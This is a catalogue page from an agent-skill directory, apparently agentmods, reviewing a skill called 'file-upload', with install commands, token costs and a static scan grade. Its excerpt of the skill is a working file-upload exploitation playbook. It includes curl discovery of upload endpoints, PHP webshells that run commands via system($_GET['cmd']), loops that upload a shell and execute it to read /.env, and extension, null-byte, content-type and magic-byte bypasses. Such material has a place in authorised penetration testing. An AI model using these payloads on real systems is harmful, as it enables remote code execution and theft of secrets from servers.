Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill file-uploadgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/file-upload)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/file-upload"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/file-upload/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/file-upload"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/file-upload.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00027 | $0.01305 |
| Opus 5 | $0.00014 | $0.00652 |
| Sonnet 5 | $0.00005 | $0.00261 |
| Haiku 4.5 | $0.00003 | $0.00130 |
Grade A, and why
file-upload scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s 'http://<TARGET>/' | grep -i 'upload\|file\|enctype="multipart\|type="file"' Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
echo 'require("child_process").execSync("cat /.env")' > shell.js This is a copy
100% identical to file-upload — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 117 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Arbitrary File Upload Exploitation
Exploits insufficient file upload validation to upload executable files (webshells) achieving RCE on the target server. Common in image/document upload features, profile picture handlers, and file import endpoints.
Discovery
# Find upload endpoints
curl -s 'http://<TARGET>/' | grep -i 'upload\|file\|enctype="multipart\|type="file"'
curl -s 'http://<TARGET>/upload'
curl -s 'http://<TARGET>/api/upload'
# Check for upload directory listing
curl -s 'http://<TARGET>/uploads/'
curl -s 'http://<TARGET>/static/'
curl -s 'http://<TARGET>/files/'
curl -s 'http://<TARGET>/media/'
PHP Webshell Upload
# Create webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Standard upload
curl -s 'http://<TARGET>/upload' -F '[email protected]'
# After upload — find and execute
for dir in uploads static files media images upload; do
resp=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>/$dir/shell.php?cmd=id")
[ "$resp" = "200" ] && echo "Found at /$dir/shell.php" && curl -s "http://<TARGET>/$dir/shell.php?cmd=cat+/.env"
done
Extension Bypass Techniques
# Alternative PHP extensions
for ext in php php3 php4 php5 phtml pht phps php7 phar; do
echo "<?php system(\$_GET['cmd']); ?>" > "shell.$ext"
curl -s 'http://<TARGET>/upload' -F "file=@shell.$ext" && echo " -> $ext uploaded"
done
# Double extension (Apache may parse .php in the middle)
echo '<?php system($_GET["cmd"]); ?>' > shell.php.jpg
curl -s 'http://<TARGET>/upload' -F '[email protected]'
# Trailing characters
echo '<?php system($_GET["cmd"]); ?>' > 'shell.php.'
curl -s 'http://<TARGET>/upload' -F '[email protected].'
echo '<?php system($_GET["cmd"]); ?>' > 'shell.php;.jpg'
# Case variation
echo '<?php system($_GET["cmd"]); ?>' > shell.pHp
curl -s 'http://<TARGET>/upload' -F '[email protected]'
# Null byte in filename (older systems)
curl -s 'http://<TARGET>/upload' -F '[email protected];filename="shell.php%00.jpg"'
Content-Type Bypass
# Override Content-Type header to claim image
curl -s 'http://<TARGET>/upload' -F '[email protected];type=image/jpeg'
curl -s 'http://<TARGET>/upload' -F '[email protected];type=image/png'
curl -s 'http://<TARGET>/upload' -F '[email protected];type=image/gif'
# Add image magic bytes + PHP
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell.php
curl -s 'http://<TARGET>/upload' -F '[email protected];type=image/png'
# GIF magic bytes
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif.php
curl -s 'http://<TARGET>/upload' -F '[email protected]'
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 117 lines · 27 tokens per session scan A a750d64f7577
file-upload is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 27 tokens to every session and 1,305 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). It is 100% identical to file-upload, differing in 0 lines, and is treated as a copy.
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